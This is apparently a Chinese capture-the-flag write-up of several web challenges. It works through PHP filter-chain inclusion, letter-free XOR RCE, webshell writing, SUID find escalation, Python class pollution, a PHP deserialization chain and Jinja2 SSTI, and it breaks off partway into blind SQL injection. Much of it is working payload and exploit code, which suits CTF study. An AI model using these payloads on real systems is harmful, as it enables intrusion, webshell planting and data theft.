w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg

base64解码一次:

复制代码
Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo  

尊嘟假嘟解密一次:

复制代码
Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy

这个应该就是需要rc4解密了,问题是没有密钥,根据所有题目信息,最后猜到密钥是题目描述中的Syclover

rc4解密结果:

复制代码
文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

后端逻辑是include($file.".py"),我们可以利用php filter chain突破后缀"限制"

POC:

python 复制代码
import requests

url = "https://o8psad59go93x7xvicykjqu7c.node.game.sycsec.com/index.php"
#可以读取到的文件
file_to_use = "/var/hint"
#要执行的命令
command = "cat /ffffffllllag"

#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "xxx",
    "file": final_payload
})

print(r.text)
复制代码
SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

EzRce【】

直接给了源码,waf暂时未知。

手测了以下貌似过滤单个字符和数字,那就无字母RCE。

查看phpinfo()

复制代码
?data=("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")();

disable_functions有点多的。

同时也有目录限制。

读取waf文件highlight_file('waf.php')

复制代码
("%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05"^"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60")("%08%01%06%01%0f%08%0f"^"%7f%60%60%2f%7f%60%7f");

可用的单个字符就a、e、l、v

assert被禁用了,异或直接eval('$_POST[1]'),无法生效,$_POST[1]会被当成字符串处理。

我们参考P神的payload:一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

简单修改一下

php 复制代码
<?php
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
eval($___[_]); // eval($_POST[_]);
复制代码
?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);

执行成功。

写🐎到文件。

复制代码
GET:?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);
POST:_=file_put_contents('17.php','<?=eval($_POST[1]);?>');

蚁剑连接。(记得https改成http)【】

限制了/flag的读取权限。

可以利用find提权。

复制代码
find / -perm -u=s -type f 2>/dev/null       //查看具有suid权限的命令
find / -perm -4000 2>/dev/null         //这个也可以

语法:find [path...] [expression]

path为查找路径,.为当前路径,/为根目录

expression即为参数

-name: 按文件名查找文件

-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限

-user: 按照文件属主来查找

-size n: 文件大小是n个单位

-type:

d:目录

f:文件

c:字符设备文件

b:块设备文件

-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录

-amin n: 查找系统最后n分钟内曾被存取过的文件或目录

-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置...)的文件或目录

-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置...)的文件或目录

-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录

-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录

-print: 将匹配的文件输出到标准输出

-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为'command' { } ;,注意{ }和\;之间的空格。

find提权获取flag:

复制代码
find /tmp -exec cat /flag \;
find `which find` -exec cat /flag \;
find /etc/passwd -exec cat /flag \;

参考文章:

find基础命令与提权教程_find提权-CSDN博客

find 命令提权 - 内向是一种性格 - 博客园 (cnblogs.com)

复制代码
SYC{ThE_RCe_is_S0_Eas1ly_DD!}

ezpython【】

题目描述:can you pollute me?

附件直接给了源码,一眼python原型链污染。

python 复制代码
import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False


class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



if __name__ == '__main__':
    app.run(host="0.0.0.0",port="8888")

简单看了一下,在/register路由注册时进行污染,使得User()类的isvip=True

访问/register路由,注册按钮点不动。

源码给了hint:

那就直接传参注册:

解释一下如何污染:

__class__属性换成了user对象的所属的类(hhh)

__base__属性换成了hhh类的所属的直接父类(User)

参考文章:(主要是最后一篇)

【CTF】Python原型链污染_Luminous_song的博客-CSDN博客

Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)

Python原型链污染_python 原型链_Elitewa的博客-CSDN博客

注册时候,污染一波,过滤了isvip,使用Unicode绕过。

复制代码
{"username":"222","password":"111","__class__" : {"__base__" : {"\u0069\u0073\u0076\u0069\u0070": "True"}}}

访问/flag路由,num使用Non-ASCII Identifies绕过。

复制代码
?num=12345678𝟗

源码里面获得flag。

ez_php【】

开题,点击链接后跳转到源码界面:

好长

php 复制代码
<?php
header("Content-type:text/html;charset=utf-8"); 
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');

class Me {
    public $qwe;
    public $bro;
    public $secret;

    public function __wakeup() {
        echo("进来啦<br>");
        $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
        $randomString = substr(str_shuffle($characters), 0, 6);
        $this->secret=$randomString;

        if($this->bro===$this->secret){
        $bb = $this->qwe;        
        return $bb();
        }
        
        else{
            echo("错了哥们,再试试吧<br>");
        }
    }

}

class her{
    private $hername;
    private $key;
    public $asd;
    public function __invoke() {
        echo("好累,好想睡一觉啊<br>");
        serialize($this->asd);
    }

    public function find() {
        echo("你能找到加密用的key和她的名字吗?qwq<br>");
        if (encode($this->hername,$this->key) === 'vxvx') {
            echo("解密成功!<br>");
            $file=$_GET['file'];

            if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
            {
                echo("快点的,急急急!!!<br>");
                echo new $_POST['ctf']($_GET['fun']);
            }
            else{
                echo("真的只差一步了!<br>");
            }
        }
        else{
            echo("兄弟怎么搞的?<br>");
        }
    }
}

class important{
    public $power;

    public function __sleep() {
        echo("睡饱了,接着找!<br>");
        return $this->power->seeyou;
    }
}

class useless {
    private $seeyou;
    public $QW;
    public $YXX;

    public function __construct($seeyou) {
        $this->seeyou = $seeyou;
    }

    public function __destruct() {
        $characters = '0123456789';
        $random = substr(str_shuffle($characters), 0, 6);

        if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
            if((strlen($this->QW))<80 && strlen($this->YXX)<80){
                $bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
                if($bool){
                echo("快拿到我的小秘密了<br>");
                    $a = isset($_GET['a'])? $_GET['a']: "" ;

                    if(!preg_match('/HTTP/i', $a)){
                        echo (basename($_SERVER[$a]));
                        echo ('<br>');

                        if(basename($_SERVER[$a])==='key.php'){
                            echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
                            $file = "key.php";
                            readfile($file);
                        }
                    }
                    else{
                        echo("你别这样,她会生气的┭┮﹏┭┮");
                    }
                }
            }
            else{
                echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
            }
        }
    }
    public function __get($good) {
        echo "you are good,你快找到我爱的那个她了<br>";
        $zhui = $this->$good;  
        $zhui[$good]();  
    }
}

if (isset($_GET['user'])) {
    $user = $_GET['user'];
    if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
        unserialize($user);
    }
    else {
        echo("不是吧,第一层都绕不过去???<br>");
    }
}
else {
    echo("快帮我找找她!<br>");
}
?>  快帮我找找她!

先给链子:

复制代码
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()

我们实现RCE是在her::find()方法中,但是首先得先打一遍反序列化在useless::__destruct()获取密钥等信息。

所以我们需要打两遍反序列化,链子也可以是:

复制代码
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()

Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()

然后我们根据类方法,一个一个分析绕过。


1、序列化字符串绕过!preg_match("/^[Oa]:[\d]+/i", $user)

卡了好久,只能说newbing牛逼几种反序列化漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

复制代码
// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';
 
// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

2、Me::__wakeup()处变量引用绕过随机字符串

复制代码
$a->bro=&$a->secret;

3、实现useless::__get($good)->her::find()跳转

复制代码
此步实现:$zhui[$good]();
即seeyou["seeyou"]();
即array(new her,'find')();

数组执行类方法

$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);

4、useless::__destruct()处的md5判断,直接摘抄笔记了。

复制代码
如果遇到:if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

可用:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

但是由于长度限制在80以内,故需要url解码一次。

5、useless::__destruct()的随机数判断:$random==='newbee',不用管

复制代码
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';

因为逻辑是and
优先级可以看作

【(】$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) 【)】 and $random==='newbee';

6、useless::__destruct()的文件名绕过限制

用任何一个不在URL显示并且不影响请求包含义的http头绕过就行,目前找到的只有Content-Type,有HTTP限制,不能用自己的和其他一些请求头。

复制代码
?a=CONTENT_TYPE

Content-Type:key.php

7、坑点之无法生成序列化链子。

分析输出,只有在important::__sleep()方法后的echo才会输出,猜测这里执行了这个方法导致序列化字符串无法生成。。。

经过尝试,sleep改成construct就没问题了


第一次EXP:

php 复制代码
<?php

//一模一样CV下来
//...
//...
//...
$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);

//md5
$a->qwe->asd->power->QW=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2');
$a->qwe->asd->power->YXX=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2');


$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));

源码中发现一堆编码:

复制代码
/* 【xxx】 */

猜测是base64转图片,还真是。hername=momo,key=9

第二次EXP:

php 复制代码
<?php

//一模一样CV下来
//her类中属性的private换成public
//...
//...
//...

$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->hername='momo';
$a->qwe->key='9';

$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array($a->qwe,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);

$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));

剩下的直接用原生类执行命令。绕过file_get_contents($file,'r') === "loveyou"可用data伪协议。

payload:(DirectoryIterator找flag文件名)

复制代码
GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=glob://flag*

POST:ctf=DirectoryIterator

SplFileObject读取文件:

复制代码
GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=php://filter/convert.base64-encode/resource=flag_my_baby.php

POST:ctf=SplFileObject

klf_2【】

开题。

看源码:

起手robots.txt

访问路由

继续看源码,谢谢三叶草给了我无比强大的信息搜集意识。

OK,那就/secr3ttt路由GET传参klf,有反应。猜测是SSTI

暂且当作是jinja2模板,fuzz一波。

528长度的都是被过滤的,md真狠啊。

此外,还过滤了requestself~appopenread(是我字典不好)

nnd,直接上过滤器!!!!

简单测测,过滤器确实可行,之后应该还会有过滤。

复制代码
{% set org = ({ }|select()|string()) %}{{org}}

过滤器骚操作如下,由于~被过滤了,所以只能用,|join进行拼接。

python 复制代码
{% set po=dict(po=1,p=2)|join()%}  #po=pop
{% set a=(()|select|string|list)|attr(po)(24)%}  #_
{% set oo=dict(o=a,s=a)|join()%}   #os
{% set p=dict(po=a,pen=a)|join()%}  #popen
{% set ch=dict(ch=a,r=a)|join()%}  #chr
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}  #__init__
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}  #__globals__
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}  #__getitem__
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%} #__builtins__
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%} #__import__
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%} #__class__
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}  #__subclasses__
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}  #__base__
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}  #jay17.__class__.__base__.__subclasses__()
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}  #利用os类提取chr函数,用于字符串拼接
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}  #利用os类提取popen函数,用于字符串拼接
{% set re=dict(re=a,ad=a)|join()%}   #read
{% set en=dict(en=a,v=a)|join()%}  #env
{% set fl=dict(fl=a,ag=a)|join()%}   #flag
{% set ta=dict(ta=a,c=a)|join()%}   #ta
{% set kgxg=(chhr(32),chhr(47))|join()%}   #空格/,用的是全角,不能完全全角,也可以自己构造。
{% set tf=(ta,kgxg,fl)|join()%}   #tac /flag
{% set ll=dict(l=a,s=a)|join()%}   #ls
{% set lll=(ll,kgxg)|join()%}   #ls /
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%} #ls /app
{% set ha=dict(ha=a,hahaha=a)|join()%}   #hahahaha
{% set th=(ta,chhr(32),ha)|join()%}   #tac hahahaha
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}  #cat app.py
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}#tac /app/fl4gfl4gfl4g
{% set cmd=pp(six)|attr(re)()%}  #执行命令








{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

payload:

python 复制代码
/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%} 
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(32),chhr(47))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(32),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}

源码如下:

python 复制代码
from flask import Flask, request, render_template, render_template_string,send_from_directory
import re
import os

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/secr3ttt', methods=['GET', 'POST'])
def secr3t():
    klf = request.args.get('klf', '')
    template = f'''
       <html>
           <body>
               <h1>别找了,这次你肯定是klf</h1>     
           </body>
           <img src="https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/0071088CAC91D2C42C4D31053A7E8D2B731D69.jpg" alt="g">
            <h1>%s</h1>   
       </html>
       <!--klf?-->
       <!-- 别想要flag?klf -->

       '''
    bl = ['_', '\\', '\'', '"', 'request', "+", 'class', 'init', 'arg', 'config', 'app', 'self', 'cd', 'chr',
      'request', 'url', 'builtins', 'globals', 'base', 'pop', 'import', 'popen', 'getitem', 'subclasses', '/',
      'flashed', 'os', 'open', 'read', 'count', '*', '38', '124', '47', '59', '99', '100', 'cat', '~',
      ':', 'not', '0', '-', 'ord', '37', '94', '96', '[',']','index','length']#'43', '45',
    for i in bl:
        if i in klf:
            return render_template('klf.html')

    a = render_template_string(template % klf)
    if "{" in a:
        return  a + render_template('win.html')

    return a

@app.route('/robots.txt', methods=['GET'])
def robots():
    return send_from_directory(os.path.join(app.root_path, 'static'),
                               'robots.txt', mimetype='text/plain')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=7889, debug=False)

ez_sql【】

开局是一个输入框,需要我们输入id:

输入后回显:

简单测测:【闭合是单引号】,猜测报错会输出你搁这儿干嘛啊???

复制代码
id=1    正常
id=1'   回显你搁这儿干嘛啊???
id=1''    正常
id=1'''   回显你搁这儿干嘛啊???
id=1''''    正常
id=1'''''   回显你搁这儿干嘛啊???
id=1''''''    正常
id=1'''''''   回显你搁这儿干嘛啊???

闭合用and '1' = '1结尾

复制代码
id=aaa'/**/||/**/'a'/**/like/**/'a     成功回显了id=1的内容
id=aaa'/**/||/**/'a'/**/like/**/'b     回显 别翻啦!这么多心灵鸡汤都du不了你吗

重点来了,id=aaa'/**/||/**/'a'/**/like/**/'a 成功回显了id=1的内容,为什么不是回显id=aaa的内容呢?说明这个式子在后端会被处理成逻辑值1,而不是aaa

这说明了什么,后端的语句大体是select * from table where id=('xxx')

那就是以')闭合,验证payload:id=4')#aaaa

有waf,我们拿burp打一波fuzz,过滤如下:


过滤字符替换如下:

被过滤字符 替代字符
空格 /**/
or ||
= like
database() schema()
information_schema 【传送门1】

奇怪的是联合查询判断不出回显位。。。

payload形如:id=1')/**/union/**/select/**/1,2,3#

没办法,只能用盲注了。

我们正常布尔盲注的payload是:'1\') and if(ord(mid(database(),{},1))>{},1,0)--+'.format(pos, mid_num)或者"-1\" or 0^" + "(ascii(substr((SeleCt grOUp_conCAt(schema_name) fROm information_schema.schemata),{0},1))>{1})-- ".format(i, mid),思想都是获取我们需要的数据(无回显),截取其中的一个字符,通过爆破和比较得到截取的字符是什么。

information_schema肯定是用不了了,database()被禁用了我们用schema()替换,一样的效果。

asciiord等函数也被禁用了,我们可以不用ASCII码,直接拿字符比较。

